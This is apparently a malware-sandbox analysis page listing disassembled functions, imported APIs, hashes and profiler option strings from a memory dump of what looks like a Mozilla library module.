Instruction ID: 285342c432369980256c34f893e47099f05ee16847ac6515a861495d325d71b3
Opcode Fuzzy Hash: f12e48f6671b2ba386f0267aa31f476d870583a1c6c4107e6d66c32b96159d37
Instruction Fuzzy Hash: 6182CF319093318BF710CF1BC49026EB7E6EB85758F65892AE8D547ED0DB35E885CB82

Function 6C95BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C95C1CB
__aulldiv.LIBCMT ref: 6C95C24C
__aulldiv.LIBCMT ref: 6C95C348
__aullrem.LIBCMT ref: 6C95C365
__aulldiv.LIBCMT ref: 6C95C37D

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: ca564f0a8df396e03c74de320938d7a0532e7320a7295eeba397575622058f59
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 1C322632B046168FCB18DE3CC89066ABBE6AFD9310F49866DE495CB395D730ED05CB91

Function 6C9C545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9C8A4B

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 6748e7821dcc473d6c0f55ff824bf16f35ac862823f67dc771b8f36cf46e1fb6
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: D2B1E672B0021ACFDB14CF68CC907A9B7B6EF95314F1902A9C549EB781D730E985CB92

Function 6C9C542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9C925C

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 6cd0fcc83cd549fe357bb5cf7969e5caf8bc937e41cd46092fa0c911797b1cdb
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 75B1D572F0021A8BDB14CF58CC816ADB7B6AF95314F190269C549EBB85D730E989CB92

Function 6C9C50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9C8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9C925C

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: b7d9ce138e4f5084dc90b56994151a48e0598923134e98aea57dfd13da7d3c95
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: AAA1D772B001178FDB14CF68CC807A9B7B6AF95314F1502B9C949EB785D730E999CB92

Function 6C9A77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9A7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9A7A93

Part of subcall function 6C975C50: GetTickCount64.KERNEL32 ref: 6C975D40
Part of subcall function 6C975C50: EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C975D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9A7AA1

Part of subcall function 6C975C50: __aulldiv.LIBCMT ref: 6C975DB4
Part of subcall function 6C975C50: LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C975DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C9A7B31

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 3e9d9396267b8fd6d362ffdc120275956346fa5b695858bf71cff325d5cc292f
Instruction ID: 35d63b402a5348829407a67e4b6dac3005365ed227e1c3fbdf0c17e17450f845
Opcode Fuzzy Hash: 3e9d9396267b8fd6d362ffdc120275956346fa5b695858bf71cff325d5cc292f
Instruction Fuzzy Hash: 90B1AC356087808BCB18CFA4C49165FB7E2BFD9318F154A1CE99567B94DB70E90BCB82

Function 6C996CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C996D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C996E1E

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 190545fa93add6624df31b3837edecfd649328ccff8905c3ebfe861819337645
Instruction ID: f7634df291f7fc298ae2d1d3f8b29d472dd0c08a0e26eb2a7d4116a96b0aebee
Opcode Fuzzy Hash: 190545fa93add6624df31b3837edecfd649328ccff8905c3ebfe861819337645
Instruction Fuzzy Hash: 93A18D706183818FCB15CF24C4907AEFBE6BFA8308F54495DE48A87751DB70E959CB92

Function 6C9BB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C9BB720
RtlNtStatusToDosError.NTDLL ref: 6C9BB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C98FE3F,00000000,00000000,?,?,00000000,?,6C98FE3F), ref: 6C9BB760

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: cc99d34a6e496eed520c7a07b2e806247ae11e6d808a5d991b7e6fc456712b5b
Instruction ID: 973e5f119293fe9ebbc3919dc469951abb1e451a2f5b83f2ef42083c76e2a61a
Opcode Fuzzy Hash: cc99d34a6e496eed520c7a07b2e806247ae11e6d808a5d991b7e6fc456712b5b
Instruction Fuzzy Hash: 51F0AFB0A0420CAEEF019AA1CCC4BEFB7BC9B14719F105129E511729C0D774E6C8C762

Function 6C974640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C974777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C975585, 6C9755A8, 6C9755C3, 6C975624

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: b8fba4b3ede52566ec7055dcbf9c5fc672f8be9d6d9c8c173a5336a918f36b23
Instruction ID: 1fad17c29fd2c955e96db0ffb6502fe17ff21090745f4a1ef674bff60e20a197
Opcode Fuzzy Hash: b8fba4b3ede52566ec7055dcbf9c5fc672f8be9d6d9c8c173a5336a918f36b23
Instruction Fuzzy Hash: 37B28D71A06B018FD728CF18C590715BBE6BFC5324B29C7ADE4698B6A6D731E841CF90

Function 6C9B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9B8C7C
__aulldiv.LIBCMT ref: 6C9B8DD7

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: abf186ce9f9c734c8e384b0231a2bea45213bc7c3d19e44ecba271efc7597e0d
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: DB325971F0121A8BDF1CCE9CC8A17BEB7B6FB88300F15852AD506BB790DA349D458B95

Function 6C9BB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9603D4,?), ref: 6C9BB955
NtQueryVirtualMemory.NTDLL ref: 6C9BB9A5

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: d077d2515b652df3e93b97476cfbe80de89b3795a0deb1f8ba932ea9462c6a7e
Instruction ID: 74815975401d012b9c5b82fc612d258ea3ca7e91d580970858bfb7b2fe73cd1e
Opcode Fuzzy Hash: d077d2515b652df3e93b97476cfbe80de89b3795a0deb1f8ba932ea9462c6a7e
Instruction Fuzzy Hash: 8641C571F01219AFDF04CFA9D880ADEB7B9EF88354F14812AE505B7744DB30E9458B91

Function 6C995C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C964A63,?,?), ref: 6C995F06

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 8745eea95e5bae02b8e819d74c166b2ec13f30b0eb12db011c6d3cc4fa62b507
Instruction ID: e87c19aeb54141b40e2ff11cc4c98e9d4ce69d8caccf48a06b77821da2475711
Opcode Fuzzy Hash: 8745eea95e5bae02b8e819d74c166b2ec13f30b0eb12db011c6d3cc4fa62b507
Instruction Fuzzy Hash: DAC1C175D012099BCB04CFA5C5906EEBBF6FF8A319F28425DD8556BB44D732A846CB80

Function 6C95DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff4ccaa2f6742391cfa21121713cd7bef9f0100b3b6bfbb65e42e8252148ec2f
Instruction ID: a899fa613e4c4b232c11e9189b4b7732dc773f6f34e3f0bd3ad67280208987b7
Opcode Fuzzy Hash: ff4ccaa2f6742391cfa21121713cd7bef9f0100b3b6bfbb65e42e8252148ec2f
Instruction Fuzzy Hash: AC42D472A087518BD304CE3CC49035AF3E2BFC9364F594B2DE999A7794D739D9418B82

Function 6C9C76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: b85fa92e39bd717ff08c812256885db20c52909c69fc35117cf796b061bc8064
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 8332F871E0061A8FDB14CF98C8D0AADFBB6FF88304F6481A9C549A7745D731A986CF91

Function 6C9C6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 339a7a8d9ce8ff281e064841f521848a5f2afeceb7f9eb647f16b7c89a008e69
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F522E871E0061A8FDB14CF98C880AADF7F6FF88304F6485AAC549A7745D731A986CF91

Function 6C980512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 286ab1b55caabb77574da8dc762465e9dbb4a6a592fa37c3ece0a54f2dbccbfb
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: FC221671E01659CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D731A986CF90

Function 6C9CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 438b163c0aa609187af82fd67fb495aa0d56262e55ffb230bb49f57c8f6d2f1c
Instruction ID: 845f37bb87fd0395f7ec045ee9b6bdfdba6238f99a989a2309416836ff3aa9ca
Opcode Fuzzy Hash: 438b163c0aa609187af82fd67fb495aa0d56262e55ffb230bb49f57c8f6d2f1c
Instruction Fuzzy Hash: C3F14871B087458FD700CE28C8913AAB7E6AFD5318F158A2DE8D487781EB74D9898793

Function 6C95C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 5f235e11923b688408c7ff9597425e03612c3ff3549a37dde2826480d5134435
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: AAA1AA71F0021A8FDB08CE69C8913AEB7F2AFC8354F588269D915E7781DB349D168B90

Function 6C997710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: c4444cc0414dca8a1ee3cfbbd6a76bfc4cbfc28a3113b9b055c67c1c36ca1372
Instruction ID: 9235d4aeb16e95b897db654b44aad1d842f977bcab8bd4c1c42e8846b01dd419
Opcode Fuzzy Hash: c4444cc0414dca8a1ee3cfbbd6a76bfc4cbfc28a3113b9b055c67c1c36ca1372
Instruction Fuzzy Hash: 7B714C75E012198FCB18CF99D8905EDBBB6FF89314F28816ED415AB740DB31A945CB90

Function 6C9958E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 5f3271e0b6d1972c6f9a5bf7d2f7ee605f6e000976014a997e28f346435fa738
Instruction ID: e27303789d493c5076aeb74b262a07e258456b216b98fe066c17ff9ed332aa26
Opcode Fuzzy Hash: 5f3271e0b6d1972c6f9a5bf7d2f7ee605f6e000976014a997e28f346435fa738
Instruction Fuzzy Hash: F5817A75A012199FCB04CFA8C8809EEBBF6FF89314F684269D511AB741D731E945CBA0

Function 6C99CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C96582D), ref: 6C99CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C96582D), ref: 6C99CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9CFE98,?,?,?,?,?,6C96582D), ref: 6C99CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C99CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C99CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C99CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C99CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C99CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C99CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C99CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C99CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C99CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C99CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C99CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C99CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C99CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C99CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C99CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C99CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C99CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C99CE8A

Strings

fileio, xrefs: 6C99CC92
leaf, xrefs: 6C99CC66
cpuallthreads, xrefs: 6C99CE16
samplingallthreads, xrefs: 6C99CE2C
unregisteredthreads, xrefs: 6C99CE58
mainthreadio, xrefs: 6C99CC7C
